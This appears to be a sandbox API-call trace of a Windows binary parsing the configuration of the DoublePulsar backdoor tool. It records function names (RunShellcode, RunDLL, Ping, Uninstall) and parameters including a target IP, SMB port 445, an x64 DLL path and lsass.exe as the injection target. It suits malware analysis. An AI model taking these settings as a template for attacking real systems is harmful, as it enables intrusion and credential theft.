(_Count=0x1, _Size=0x1) returned 0xfa6fd0 [0125.354] malloc (_Size=0x30) returned 0xfa67f8 [0125.354] strlen (_Str="") returned 0x0 [0125.354] calloc (_Count=0x1, _Size=0x1) returned 0xfa7000 [0125.354] malloc (_Size=0x3c) returned 0xfa5d40 [0125.354] strlen (_Str="RunShellcode") returned 0xc [0125.354] calloc (_Count=0xd, _Size=0x1) returned 0xfa4ea8 [0125.354] _mbscpy (in: param_1=0xfa4ea8, param_2=0xfad6e8 | out: param_1=0xfa4ea8) returned 0xfa4ea8 [0125.354] malloc (_Size=0x30) returned 0xfa6830 [0125.354] strlen (_Str="Run raw shellcode") returned 0x11 [0125.354] calloc (_Count=0x12, _Size=0x1) returned 0xfa8760 [0125.354] _mbscpy (in: param_1=0xfa8760, param_2=0xfa8860 | out: param_1=0xfa8760) returned 0xfa8760 [0125.354] malloc (_Size=0x30) returned 0xfa6868 [0125.354] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0125.354] malloc (_Size=0x3c) returned 0xfa5ea8 [0125.354] strlen (_Str="ShellcodeFile") returned 0xd [0125.354] calloc (_Count=0xe, _Size=0x1) returned 0xfa4f08 [0125.354] _mbscpy (in: param_1=0xfa4f08, param_2=0xfa1550 | out: param_1=0xfa4f08) returned 0xfa4f08 [0125.354] malloc (_Size=0x30) returned 0xfa68a0 [0125.354] strlen (_Str="Full path to the file containing shellcode") returned 0x2a [0125.354] calloc (_Count=0x2b, _Size=0x1) returned 0xfa68d8 [0125.354] _mbscpy (in: param_1=0xfa68d8, param_2=0xfacc30 | out: param_1=0xfa68d8) returned 0xfa68d8 [0125.354] malloc (_Size=0x30) returned 0xfa6910 [0125.354] strlen (_Str="LocalFile") returned 0x9 [0125.354] calloc (_Count=0xa, _Size=0x1) returned 0xfa4f50 [0125.354] _mbscpy (in: param_1=0xfa4f50, param_2=0xfa1568 | out: param_1=0xfa4f50) returned 0xfa4f50 [0125.354] malloc (_Size=0x30) returned 0xfa6980 [0125.354] strlen (_Str="Scalar") returned 0x6 [0125.354] calloc (_Count=0x7, _Size=0x1) returned 0xfa6f70 [0125.354] _mbscpy (in: param_1=0xfa6f70, param_2=0xfada68 | out: param_1=0xfa6f70) returned 0xfa6f70 [0125.354] malloc (_Size=0x30) returned 0xfa69b8 [0125.354] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0125.354] malloc (_Size=0x3c) returned 0xfa6010 [0125.354] strlen (_Str="ShellcodeData") returned 0xd [0125.354] calloc (_Count=0xe, _Size=0x1) returned 0xfa4f08 [0125.355] _mbscpy (in: param_1=0xfa4f08, param_2=0xfa15b0 | out: param_1=0xfa4f08) returned 0xfa4f08 [0125.355] malloc (_Size=0x30) returned 0xfa68d8 [0125.355] strlen (_Str="Full path to the file containing shellcode to run") returned 0x31 [0125.355] calloc (_Count=0x32, _Size=0x1) returned 0xfa9488 [0125.355] _mbscpy (in: param_1=0xfa9488, param_2=0xfaddf0 | out: param_1=0xfa9488) returned 0xfa9488 [0125.355] malloc (_Size=0x30) returned 0xfa69f0 [0125.355] strlen (_Str="LocalFile") returned 0x9 [0125.355] calloc (_Count=0xa, _Size=0x1) returned 0xfa4fb0 [0125.355] _mbscpy (in: param_1=0xfa4fb0, param_2=0xfa15c8 | out: param_1=0xfa4fb0) returned 0xfa4fb0 [0125.355] malloc (_Size=0x30) returned 0xfa6a28 [0125.355] strlen (_Str="Scalar") returned 0x6 [0125.355] calloc (_Count=0x7, _Size=0x1) returned 0xfa7040 [0125.355] _mbscpy (in: param_1=0xfa7040, param_2=0xfada48 | out: param_1=0xfa7040) returned 0xfa7040 [0125.355] malloc (_Size=0x30) returned 0xfa6a60 [0125.355] strlen (_Str="Uninstall") returned 0x9 [0125.355] calloc (_Count=0xa, _Size=0x1) returned 0xfa4fb0 [0125.355] _mbscpy (in: param_1=0xfa4fb0, param_2=0xfad718 | out: param_1=0xfa4fb0) returned 0xfa4fb0 [0125.355] malloc (_Size=0x30) returned 0xfa6a98 [0125.355] strlen (_Str="Remove's backdoor from system") returned 0x1d [0125.355] calloc (_Count=0x1e, _Size=0x1) returned 0xfab390 [0125.355] _mbscpy (in: param_1=0xfab390, param_2=0xfab160 | out: param_1=0xfab390) returned 0xfab390 [0125.355] malloc (_Size=0x30) returned 0xfa6ad0 [0125.355] strlen (_Str="outputparameters") returned 0x10 [0125.355] calloc (_Count=0x11, _Size=0x1) returned 0xfa8760 [0125.355] _mbscpy (in: param_1=0xfa8760, param_2=0xfa8840 | out: param_1=0xfa8760) returned 0xfa8760 [0125.355] malloc (_Size=0x3c) returned 0xfa6250 [0125.355] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0125.355] malloc (_Size=0x3c) returned 0xfa6298 [0125.355] strlen (_Str="Function") returned 0x8 [0125.355] calloc (_Count=0x9, _Size=0x1) returned 0xfa4fb0 [0125.355] _mbscpy (in: param_1=0xfa4fb0, param_2=0xfa1640 | out: param_1=0xfa4fb0) returned 0xfa4fb0 [0125.355] malloc (_Size=0x30) returned 0xfa6b08 [0125.355] strlen (_Str="Operation for backdoor to perform") returned 0x21 [0125.355] calloc (_Count=0x22, _Size=0x1) returned 0xfa1a10 [0125.356] _mbscpy (in: param_1=0xfa1a10, param_2=0xfa1950 | out: param_1=0xfa1a10) returned 0xfa1a10 [0125.356] malloc (_Size=0x30) returned 0xfa6b40 [0125.356] strlen (_Str="OutputInstall") returned 0xd [0125.356] calloc (_Count=0xe, _Size=0x1) returned 0xfa5040 [0125.356] _mbscpy (in: param_1=0xfa5040, param_2=0xfa1670 | out: param_1=0xfa5040) returned 0xfa5040 [0125.356] malloc (_Size=0x30) returned 0xfa6b78 [0125.356] strlen (_Str="Only output the install shellcode to a file on disk.") returned 0x34 [0125.356] calloc (_Count=0x35, _Size=0x1) returned 0xfa9488 [0125.356] _mbscpy (in: param_1=0xfa9488, param_2=0xfade60 | out: param_1=0xfa9488) returned 0xfa9488 [0125.356] malloc (_Size=0x30) returned 0xfa6bb0 [0125.356] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0125.356] malloc (_Size=0x3c) returned 0xfbd108 [0125.356] strlen (_Str="ShellcodeFile") returned 0xd [0125.356] calloc (_Count=0xe, _Size=0x1) returned 0xfa50a0 [0125.356] _mbscpy (in: param_1=0xfa50a0, param_2=0xfa16a0 | out: param_1=0xfa50a0) returned 0xfa50a0 [0125.356] malloc (_Size=0x30) returned 0xfa6be8 [0125.356] strlen (_Str="Full path to the file containing Double Pulsar shellcode installer") returned 0x42 [0125.356] calloc (_Count=0x43, _Size=0x1) returned 0xfa2820 [0125.356] _mbscpy (in: param_1=0xfa2820, param_2=0xfa2550 | out: param_1=0xfa2820) returned 0xfa2820 [0125.356] malloc (_Size=0x30) returned 0xfa6c20 [0125.356] strlen (_Str="String") returned 0x6 [0125.356] calloc (_Count=0x7, _Size=0x1) returned 0xfa7090 [0125.356] _mbscpy (in: param_1=0xfa7090, param_2=0xfa2170 | out: param_1=0xfa7090) returned 0xfa7090 [0125.356] malloc (_Size=0x30) returned 0xfa6c58 [0125.356] strlen (_Str="Scalar") returned 0x6 [0125.356] calloc (_Count=0x7, _Size=0x1) returned 0xfa70c0 [0125.356] _mbscpy (in: param_1=0xfa70c0, param_2=0xfa2180 | out: param_1=0xfa70c0) returned 0xfa70c0 [0125.356] malloc (_Size=0x30) returned 0xfa6c90 [0125.356] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0125.356] malloc (_Size=0x3c) returned 0xfbd270 [0125.356] strlen (_Str="ShellcodeData") returned 0xd [0125.356] calloc (_Count=0xe, _Size=0x1) returned 0xfa50e8 [0125.356] _mbscpy (in: param_1=0xfa50e8, param_2=0xfa1700 | out: param_1=0xfa50e8) returned 0xfa50e8 [0125.356] malloc (_Size=0x30) returned 0xfbdfa0 [0125.356] strlen (_Str="Full path to the file containing Double Pulsar shellcode installer") returned 0x42 [0125.357] calloc (_Count=0x43, _Size=0x1) returned 0xfa2820 [0125.357] _mbscpy (in: param_1=0xfa2820, param_2=0xfa2640 | out: param_1=0xfa2820) returned 0xfa2820 [0125.357] malloc (_Size=0x30) returned 0xfbdfd8 [0125.357] strlen (_Str="LocalFile") returned 0x9 [0125.357] calloc (_Count=0xa, _Size=0x1) returned 0xfa5130 [0125.357] _mbscpy (in: param_1=0xfa5130, param_2=0xfa1718 | out: param_1=0xfa5130) returned 0xfa5130 [0125.357] malloc (_Size=0x30) returned 0xfbe010 [0125.357] strlen (_Str="Scalar") returned 0x6 [0125.357] calloc (_Count=0x7, _Size=0x1) returned 0xfa70f0 [0125.357] _mbscpy (in: param_1=0xfa70f0, param_2=0xfadb28 | out: param_1=0xfa70f0) returned 0xfa70f0 [0125.357] malloc (_Size=0x30) returned 0xfbe048 [0125.357] strlen (_Str="Ping") returned 0x4 [0125.357] calloc (_Count=0x5, _Size=0x1) returned 0xfa70f0 [0125.357] _mbscpy (in: param_1=0xfa70f0, param_2=0xfa21b0 | out: param_1=0xfa70f0) returned 0xfa70f0 [0125.357] malloc (_Size=0x30) returned 0xfbe080 [0125.357] strlen (_Str="Test for presence of backdoor") returned 0x1d [0125.357] calloc (_Count=0x1e, _Size=0x1) returned 0xfab390 [0125.357] _mbscpy (in: param_1=0xfab390, param_2=0xfab200 | out: param_1=0xfab390) returned 0xfab390 [0125.357] malloc (_Size=0x30) returned 0xfbe0b8 [0125.357] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0125.357] malloc (_Size=0x3c) returned 0xfbd4b0 [0125.357] strlen (_Str="Is64Bit") returned 0x7 [0125.357] calloc (_Count=0x8, _Size=0x1) returned 0xfa7140 [0125.357] _mbscpy (in: param_1=0xfa7140, param_2=0xfa2200 | out: param_1=0xfa7140) returned 0xfa7140 [0125.357] malloc (_Size=0x30) returned 0xfbe0f0 [0125.357] strlen (_Str="Is target 64 or 32 bit") returned 0x16 [0125.357] calloc (_Count=0x17, _Size=0x1) returned 0xfa85a0 [0125.357] _mbscpy (in: param_1=0xfa85a0, param_2=0xfa88c0 | out: param_1=0xfa85a0) returned 0xfa85a0 [0125.357] malloc (_Size=0x30) returned 0xfbe128 [0125.357] strlen (_Str="U32") returned 0x3 [0125.357] calloc (_Count=0x4, _Size=0x1) returned 0xfa7170 [0125.357] _mbscpy (in: param_1=0xfa7170, param_2=0xfa2210 | out: param_1=0xfa7170) returned 0xfa7170 [0125.357] malloc (_Size=0x30) returned 0xfbe160 [0125.357] strlen (_Str="Scalar") returned 0x6 [0125.357] calloc (_Count=0x7, _Size=0x1) returned 0xfa71a0 [0125.357] _mbscpy (in: param_1=0xfa71a0, param_2=0xfa2220 | out: param_1=0xfa71a0) returned 0xfa71a0 [0125.358] malloc (_Size=0x30) returned 0xfbe198 [0125.358] strlen (_Str="RunDLL") returned 0x6 [0125.358] calloc (_Count=0x7, _Size=0x1) returned 0xfa70f0 [0125.358] _mbscpy (in: param_1=0xfa70f0, param_2=0xfa21d0 | out: param_1=0xfa70f0) returned 0xfa70f0 [0125.358] malloc (_Size=0x30) returned 0xfbe1d0 [0125.358] strlen (_Str="Inject a DLL into a user mode process.") returned 0x26 [0125.358] calloc (_Count=0x27, _Size=0x1) returned 0xfa1b00 [0125.358] _mbscpy (in: param_1=0xfa1b00, param_2=0xfa19b0 | out: param_1=0xfa1b00) returned 0xfa1b00 [0125.358] malloc (_Size=0x30) returned 0xfbe208 [0125.358] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0125.358] malloc (_Size=0x3c) returned 0xfbd6f0 [0125.358] strlen (_Str="Is64Bit") returned 0x7 [0125.358] calloc (_Count=0x8, _Size=0x1) returned 0xfa71a0 [0125.358] _mbscpy (in: param_1=0xfa71a0, param_2=0xfa2280 | out: param_1=0xfa71a0) returned 0xfa71a0 [0125.358] malloc (_Size=0x30) returned 0xfbe240 [0125.358] strlen (_Str="Is target 64 or 32 bit") returned 0x16 [0125.358] calloc (_Count=0x17, _Size=0x1) returned 0xfa85a0 [0125.358] _mbscpy (in: param_1=0xfa85a0, param_2=0xfa88e0 | out: param_1=0xfa85a0) returned 0xfa85a0 [0125.358] malloc (_Size=0x30) returned 0xfbe278 [0125.358] strlen (_Str="U32") returned 0x3 [0125.358] calloc (_Count=0x4, _Size=0x1) returned 0xfa71f0 [0125.358] _mbscpy (in: param_1=0xfa71f0, param_2=0xfa2290 | out: param_1=0xfa71f0) returned 0xfa71f0 [0125.358] malloc (_Size=0x30) returned 0xfbe2b0 [0125.358] strlen (_Str="Scalar") returned 0x6 [0125.358] calloc (_Count=0x7, _Size=0x1) returned 0xfa7220 [0125.358] _mbscpy (in: param_1=0xfa7220, param_2=0xfa22a0 | out: param_1=0xfa7220) returned 0xfa7220 [0125.358] malloc (_Size=0x30) returned 0xfbe2e8 [0125.358] strlen (_Str="Uninstall") returned 0x9 [0125.358] calloc (_Count=0xa, _Size=0x1) returned 0xfad048 [0125.358] _mbscpy (in: param_1=0xfad048, param_2=0xfa1808 | out: param_1=0xfad048) returned 0xfad048 [0125.358] malloc (_Size=0x30) returned 0xfbe320 [0125.358] strlen (_Str="Remove's backdoor from system") returned 0x1d [0125.358] calloc (_Count=0x1e, _Size=0x1) returned 0xfab390 [0125.358] _mbscpy (in: param_1=0xfab390, param_2=0xfab278 | out: param_1=0xfab390) returned 0xfab390 [0125.358] malloc (_Size=0x30) returned 0xfbe358 [0125.359] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0125.359] malloc (_Size=0x3c) returned 0xfbd930 [0125.359] strlen (_Str="Is64Bit") returned 0x7 [0125.359] calloc (_Count=0x8, _Size=0x1) returned 0xfa71f0 [0125.359] _mbscpy (in: param_1=0xfa71f0, param_2=0xfa22f0 | out: param_1=0xfa71f0) returned 0xfa71f0 [0125.359] malloc (_Size=0x30) returned 0xfbe390 [0125.359] strlen (_Str="Is target 64 or 32 bit") returned 0x16 [0125.359] calloc (_Count=0x17, _Size=0x1) returned 0xfa85a0 [0125.359] _mbscpy (in: param_1=0xfa85a0, param_2=0xfa8900 | out: param_1=0xfa85a0) returned 0xfa85a0 [0125.359] malloc (_Size=0x30) returned 0xfbe3c8 [0125.359] strlen (_Str="U32") returned 0x3 [0125.359] calloc (_Count=0x4, _Size=0x1) returned 0xfa7250 [0125.359] _mbscpy (in: param_1=0xfa7250, param_2=0xfa2300 | out: param_1=0xfa7250) returned 0xfa7250 [0125.359] malloc (_Size=0x30) returned 0xfbe400 [0125.359] strlen (_Str="Scalar") returned 0x6 [0125.359] calloc (_Count=0x7, _Size=0x1) returned 0xfc4898 [0125.359] _mbscpy (in: param_1=0xfc4898, param_2=0xfa2310 | out: param_1=0xfc4898) returned 0xfc4898 [0125.359] malloc (_Size=0x30) returned 0xfbe438 [0125.359] strcmp (_Str1="UTF-8", _Str2="") returned 1 [0125.359] strcmp (_Str1="UTF-8", _Str2="UTF-8") returned 0 [0125.359] strlen (_Str="config") returned 0x6 [0125.359] strlen (_Str="id") returned 0x2 [0125.360] strlen (_Str="configversion") returned 0xd [0125.360] strlen (_Str="name") returned 0x4 [0125.360] strlen (_Str="version") returned 0x7 [0125.360] strlen (_Str="schemaversion") returned 0xd [0125.360] GetCurrentThreadId () returned 0x1420 [0125.360] strlen (_Str="inputparameters") returned 0xf [0125.360] GetCurrentThreadId () returned 0x1420 [0125.360] strlen (_Str="parameter") returned 0x9 [0125.360] strlen (_Str="name") returned 0x4 [0125.360] strlen (_Str="description") returned 0xb [0125.361] strlen (_Str="type") returned 0x4 [0125.361] strlen (_Str="format") returned 0x6 [0125.361] strlen (_Str="valid") returned 0x5 [0125.361] GetCurrentThreadId () returned 0x1420 [0125.361] strlen (_Str="default") returned 0x7 [0125.361] strlen (_Str="60") returned 0x2 [0125.361] GetCurrentThreadId () returned 0x1420 [0125.361] strlen (_Str="default") returned 0x7 [0125.361] GetCurrentThreadId () returned 0x1420 [0125.361] strlen (_Str="value") returned 0x5 [0125.361] strlen (_Str="60") returned 0x2 [0125.361] GetCurrentThreadId () returned 0x1420 [0125.361] strlen (_Str="value") returned 0x5 [0125.361] GetCurrentThreadId () returned 0x1420 [0125.361] strlen (_Str="parameter") returned 0x9 [0125.362] GetCurrentThreadId () returned 0x1420 [0125.362] strlen (_Str="parameter") returned 0x9 [0125.362] strlen (_Str="name") returned 0x4 [0125.362] strlen (_Str="description") returned 0xb [0125.362] strlen (_Str="type") returned 0x4 [0125.362] strlen (_Str="format") returned 0x6 [0125.362] strlen (_Str="valid") returned 0x5 [0125.362] GetCurrentThreadId () returned 0x1420 [0125.362] strlen (_Str="value") returned 0x5 [0125.362] strlen (_Str="192.168.0.171") returned 0xd [0125.362] GetCurrentThreadId () returned 0x1420 [0125.363] strlen (_Str="value") returned 0x5 [0125.363] GetCurrentThreadId () returned 0x1420 [0125.363] strlen (_Str="parameter") returned 0x9 [0125.363] GetCurrentThreadId () returned 0x1420 [0125.363] strlen (_Str="parameter") returned 0x9 [0125.363] strlen (_Str="name") returned 0x4 [0125.363] strlen (_Str="description") returned 0xb [0125.363] strlen (_Str="type") returned 0x4 [0125.363] strlen (_Str="format") returned 0x6 [0125.363] strlen (_Str="valid") returned 0x5 [0125.364] GetCurrentThreadId () returned 0x1420 [0125.364] strlen (_Str="default") returned 0x7 [0125.364] strlen (_Str="445") returned 0x3 [0125.364] GetCurrentThreadId () returned 0x1420 [0125.364] strlen (_Str="default") returned 0x7 [0125.364] GetCurrentThreadId () returned 0x1420 [0125.364] strlen (_Str="value") returned 0x5 [0125.364] strlen (_Str="445") returned 0x3 [0125.364] GetCurrentThreadId () returned 0x1420 [0125.364] strlen (_Str="value") returned 0x5 [0125.364] GetCurrentThreadId () returned 0x1420 [0125.364] strlen (_Str="parameter") returned 0x9 [0125.364] GetCurrentThreadId () returned 0x1420 [0125.364] strlen (_Str="parameter") returned 0x9 [0125.364] strlen (_Str="name") returned 0x4 [0125.364] strlen (_Str="description") returned 0xb [0125.365] strlen (_Str="type") returned 0x4 [0125.365] strlen (_Str="format") returned 0x6 [0125.365] strlen (_Str="required") returned 0x8 [0125.365] strlen (_Str="parameter") returned 0x9 [0125.365] GetCurrentThreadId () returned 0x1420 [0125.365] strlen (_Str="parameter") returned 0x9 [0125.365] strlen (_Str="name") returned 0x4 [0125.365] strlen (_Str="description") returned 0xb [0125.365] strlen (_Str="type") returned 0x4 [0125.365] strlen (_Str="format") returned 0x6 [0125.366] strlen (_Str="valid") returned 0x5 [0125.366] strlen (_Str="default") returned 0x7 [0125.366] strlen (_Str="stdout") returned 0x6 [0125.366] GetCurrentThreadId () returned 0x1420 [0125.366] strlen (_Str="default") returned 0x7 [0125.366] strlen (_Str="value") returned 0x5 [0125.366] strlen (_Str="a") returned 0x1 [0125.366] GetCurrentThreadId () returned 0x1420 [0125.366] strlen (_Str="value") returned 0x5 [0125.366] strlen (_Str="parameter") returned 0x9 [0125.366] strlen (_Str="parameter") returned 0x9 [0125.366] strlen (_Str="name") returned 0x4 [0125.366] strlen (_Str="description") returned 0xb [0125.366] strlen (_Str="type") returned 0x4 [0125.366] strlen (_Str="format") returned 0x6 [0125.366] strlen (_Str="valid") returned 0x5 [0125.367] strlen (_Str="default") returned 0x7 [0125.367] strlen (_Str="false") returned 0x5 [0125.367] GetCurrentThreadId () returned 0x1420 [0125.367] strlen (_Str="default") returned 0x7 [0125.367] strlen (_Str="value") returned 0x5 [0125.367] strlen (_Str="false") returned 0x5 [0125.367] GetCurrentThreadId () returned 0x1420 [0125.367] strlen (_Str="value") returned 0x5 [0125.367] strlen (_Str="parameter") returned 0x9 [0125.367] strlen (_Str="paramchoice") returned 0xb [0125.367] strlen (_Str="name") returned 0x4 [0125.367] strlen (_Str="description") returned 0xb [0125.367] strlen (_Str="default") returned 0x7 [0125.367] strlen (_Str="SMB") returned 0x3 [0125.367] GetCurrentThreadId () returned 0x1420 [0125.367] strlen (_Str="default") returned 0x7 [0125.367] strlen (_Str="value") returned 0x5 [0125.367] strlen (_Str="SMB") returned 0x3 [0125.367] GetCurrentThreadId () returned 0x1420 [0125.367] strlen (_Str="value") returned 0x5 [0125.367] strlen (_Str="paramgroup") returned 0xa [0125.367] strlen (_Str="name") returned 0x4 [0125.367] strlen (_Str="description") returned 0xb [0125.367] strlen (_Str="paramgroup") returned 0xa [0125.368] strlen (_Str="paramgroup") returned 0xa [0125.368] strlen (_Str="name") returned 0x4 [0125.368] strlen (_Str="description") returned 0xb [0125.368] strlen (_Str="paramgroup") returned 0xa [0125.368] strlen (_Str="paramchoice") returned 0xb [0125.368] strlen (_Str="paramchoice") returned 0xb [0125.368] strlen (_Str="name") returned 0x4 [0125.368] strlen (_Str="description") returned 0xb [0125.368] strlen (_Str="default") returned 0x7 [0125.368] strlen (_Str="x86") returned 0x3 [0125.368] GetCurrentThreadId () returned 0x1420 [0125.368] strlen (_Str="default") returned 0x7 [0125.368] strlen (_Str="value") returned 0x5 [0125.368] strlen (_Str="x64") returned 0x3 [0125.368] GetCurrentThreadId () returned 0x1420 [0125.368] strlen (_Str="value") returned 0x5 [0125.368] strlen (_Str="paramgroup") returned 0xa [0125.368] strlen (_Str="name") returned 0x4 [0125.368] strlen (_Str="description") returned 0xb [0125.368] strlen (_Str="paramgroup") returned 0xa [0125.368] strlen (_Str="paramgroup") returned 0xa [0125.368] strlen (_Str="name") returned 0x4 [0125.368] strlen (_Str="description") returned 0xb [0125.368] strlen (_Str="paramgroup") returned 0xa [0125.369] strlen (_Str="paramchoice") returned 0xb [0125.369] strlen (_Str="paramchoice") returned 0xb [0125.369] strlen (_Str="name") returned 0x4 [0125.369] strlen (_Str="description") returned 0xb [0125.369] strlen (_Str="default") returned 0x7 [0125.369] strlen (_Str="OutputInstall") returned 0xd [0125.369] GetCurrentThreadId () returned 0x1420 [0125.369] strlen (_Str="default") returned 0x7 [0125.369] strlen (_Str="value") returned 0x5 [0125.369] strlen (_Str="RunDLL") returned 0x6 [0125.369] GetCurrentThreadId () returned 0x1420 [0125.369] strlen (_Str="value") returned 0x5 [0125.369] strlen (_Str="paramgroup") returned 0xa [0125.369] strlen (_Str="name") returned 0x4 [0125.369] strlen (_Str="description") returned 0xb [0125.369] strlen (_Str="parameter") returned 0x9 [0125.369] strlen (_Str="name") returned 0x4 [0125.369] strlen (_Str="description") returned 0xb [0125.369] strlen (_Str="type") returned 0x4 [0125.369] strlen (_Str="format") returned 0x6 [0125.369] strlen (_Str="parameter") returned 0x9 [0125.369] strlen (_Str="paramgroup") returned 0xa [0125.369] strlen (_Str="paramgroup") returned 0xa [0125.369] strlen (_Str="name") returned 0x4 [0125.370] strlen (_Str="description") returned 0xb [0125.370] strlen (_Str="paramgroup") returned 0xa [0125.370] strlen (_Str="paramgroup") returned 0xa [0125.370] strlen (_Str="name") returned 0x4 [0125.370] strlen (_Str="description") returned 0xb [0125.370] strlen (_Str="parameter") returned 0x9 [0125.370] strlen (_Str="name") returned 0x4 [0125.370] strlen (_Str="description") returned 0xb [0125.370] strlen (_Str="type") returned 0x4 [0125.370] strlen (_Str="format") returned 0x6 [0125.370] strlen (_Str="valid") returned 0x5 [0125.370] strlen (_Str="value") returned 0x5 [0125.370] strlen (_Str="C:\\ProgramData\\down64.dll") returned 0x19 [0125.370] GetCurrentThreadId () returned 0x1420 [0125.370] strlen (_Str="value") returned 0x5 [0125.370] strlen (_Str="parameter") returned 0x9 [0125.370] strlen (_Str="parameter") returned 0x9 [0125.370] strlen (_Str="name") returned 0x4 [0125.370] strlen (_Str="description") returned 0xb [0125.370] strlen (_Str="type") returned 0x4 [0125.370] strlen (_Str="format") returned 0x6 [0125.370] strlen (_Str="valid") returned 0x5 [0125.370] strlen (_Str="default") returned 0x7 [0125.371] strlen (_Str="1") returned 0x1 [0125.371] GetCurrentThreadId () returned 0x1420 [0125.371] strlen (_Str="default") returned 0x7 [0125.371] strlen (_Str="value") returned 0x5 [0125.371] strlen (_Str="1") returned 0x1 [0125.371] GetCurrentThreadId () returned 0x1420 [0125.371] strlen (_Str="value") returned 0x5 [0125.371] strlen (_Str="parameter") returned 0x9 [0125.371] strlen (_Str="parameter") returned 0x9 [0125.371] strlen (_Str="name") returned 0x4 [0125.371] strlen (_Str="description") returned 0xb [0125.371] strlen (_Str="type") returned 0x4 [0125.371] strlen (_Str="format") returned 0x6 [0125.371] strlen (_Str="valid") returned 0x5 [0125.371] strlen (_Str="default") returned 0x7 [0125.371] strlen (_Str="lsass.exe") returned 0x9 [0125.371] GetCurrentThreadId () returned 0x1420 [0125.371] strlen (_Str="default") returned 0x7 [0125.371] strlen (_Str="value") returned 0x5 [0125.371] strlen (_Str="lsass.exe") returned 0x9 [0125.371] GetCurrentThreadId () returned 0x1420 [0125.371] strlen (_Str="value") returned 0x5 [0125.371] strlen (_Str="parameter") returned 0x9 [0125.371] strlen (_Str="parameter") returned 0x9 [0125.371] strlen (_Str="name") returned 0x4 [0125.371] strlen (_Str="description") returned 0xb [0125.372] strlen (_Str="type") returned 0x4 [0125.372] strlen (_Str="format") returned 0x6 [0125.372] strlen (_Str="valid") returned 0x5 [0125.372] strlen (_Str="default") returned 0x7 [0125.372] strlen (_Str="") returned 0x0 [0125.372] GetCurrentThreadId () returned 0x1420 [0125.372] strlen (_Str="default") returned 0x7 [0125.372] strlen (_Str="value") returned 0x5 [0125.372] strlen (_Str="") returned 0x0 [0125.372] GetCurrentThreadId () returned 0x1420 [0125.372] strlen (_Str="value") returned 0x5 [0125.372] strlen (_Str="parameter") returned 0x9 [0125.372] strlen (_Str="paramgroup") returned 0xa [0125.372] strlen (_Str="paramgroup") returned 0xa [0125.372] strlen (_Str="name") returned 0x4 [0125.372] strlen (_Str="description") returned 0xb [0125.372] strlen (_Str="parameter") returned 0x9 [0125.372] strlen (_Str="name") returned 0x4 [0125.372] strlen (_Str="description") returned 0xb [0125.372] strlen (_Str="type") returned 0x4 [0125.372] strlen (_Str="format") returned 0x6 [0125.372] strlen (_Str="parameter") returned 0x9 [0125.372] strlen (_Str="parameter") returned 0x9 [0125.372] strlen (_Str="name") returned 0x4 [0125.373] strlen (_Str="description") returned 0xb [0125.373] strlen (_Str="type") returned 0x4 [0125.373] strlen (_Str="format") returned 0x6 [0125.373] strlen (_Str="parameter") returned 0x9 [0125.373] strlen (_Str="paramgroup") returned 0xa [0125.373] strlen (_Str="paramgroup") returned 0xa [0125.373] strlen (_Str="name") returned 0x4 [0125.373] strlen (_Str="description") returned 0xb [0125.373] strlen (_Str="paramgroup") returned 0xa [0125.373] strlen (_Str="paramchoice") returned 0xb [0125.373] strlen (_Str="inputparameters") returned 0xf [0125.373] strlen (_Str="outputparameters") returned 0x10 [0125.373] strlen (_Str="paramchoice") returned 0xb [0125.373] strlen (_Str="name") returned 0x4 [0125.373] strlen (_Str="description") returned 0xb [0125.373] realloc (_Block=0xfbbfd8, _Size=0x3ee8) returned 0xfadef0 [0125.373] strlen (_Str="paramgroup") returned 0xa [0125.373] strlen (_Str="name") returned 0x4 [0125.373] strlen (_Str="description") returned 0xb [0125.373] strlen (_Str="parameter") returned 0x9 [0125.373] strlen (_Str="name") returned 0x4 [0125.373] strlen (_Str="description") returned 0xb [0125.373] strlen (_Str="type") returned 0x4 [0125.374] strlen (_Str="format") returned 0x6 [0125.374] strlen (_Str="parameter") returned 0x9 [0125.374] strlen (_Str="parameter") returned 0x9 [0125.374] strlen (_Str="name") returned 0x4 [0125.374] strlen (_Str="description") returned 0xb [0125.374] strlen (_Str="type") returned 0x4 [0125.374] strlen (_Str="format") returned 0x6 [0125.374] strlen (_Str="parameter") returned 0x9 [0125.374] strlen (_Str="paramgroup") returned 0xa [0125.374] strlen (_Str="paramgroup") returned 0xa [0125.374] strlen (_Str="name") returned 0x4 [0125.374] strlen (_Str="description") returned 0xb [0125.374] strlen (_Str="parameter") returned 0x9 [0125.374] strlen (_Str="name") returned 0x4 [0125.374] strlen (_Str="description") returned 0xb [0125.374] strlen (_Str="type") returned 0x4 [0125.374] strlen (_Str="format") returned 0x6 [0125.374] strlen (_Str="parameter") returned 0x9 [0125.374] strlen (_Str="paramgroup") returned 0xa [0125.374] strlen (_Str="paramgroup") returned 0xa [0125.374] strlen (_Str="name") returned 0x4 [0125.374] strlen (_Str="description") returned 0xb [0125.375] strlen (_Str="parameter") returned 0x9 [0125.375] strlen (_Str="name") returned 0x4 [0125.375] strlen (_Str="description") returned 0xb [0125.375] strlen (_Str="type") returned 0x4 [0125.375] strlen (_Str="format") returned 0x6 [0125.375] strlen (_Str="parameter") returned 0x9 [0125.375] realloc (_Block=0xfb6fa8, _Size=0x144a) returned 0xfbeb88 [0125.376] WSACleanup () returned 0 [0125.376] free (_Block=0x10bf9f0) [0125.376] exit (_Code=0) [0125.377] free (_Block=0x10bd460) [0125.377] free (_Block=0x10bd3d8) [0125.377] free (_Block=0x10bd350) [0125.377] free (_Block=0x10b2938) [0125.377] free (_Block=0x10b28b0) [0125.377] free (_Block=0x10b2828) [0125.378] free (_Block=0x10b27a0) [0125.378] free (_Block=0x10b2718) [0125.378] free (_Block=0x10b2690) [0125.378] CloseHandle (hObject=0x44) returned 1 [0125.378] free (_Block=0x10b2680) [0125.378] free (_Block=0x10b2658) [0125.378] free (_Block=0x10b2668) [0125.378] free (_Block=0x10b2628) [0125.378] free (_Block=0x10b2640) [0125.378] free (_Block=0x10b2600) [0125.378] free (_Block=0x10b2610) [0125.378] free (_Block=0x10b25d0) [0125.378] free (_Block=0x10b25e8) [0125.378] free (_Block=0x10b1408) [0125.378] free (_Block=0x10b25b8) [0125.378] free (_Block=0x10b13d8) [0125.378] free (_Block=0x10b13f0) [0125.378] free (_Block=0x10b13a8) [0125.378] free (_Block=0x10b13c0) [0125.378] free (_Block=0x10b1380) [0125.378] free 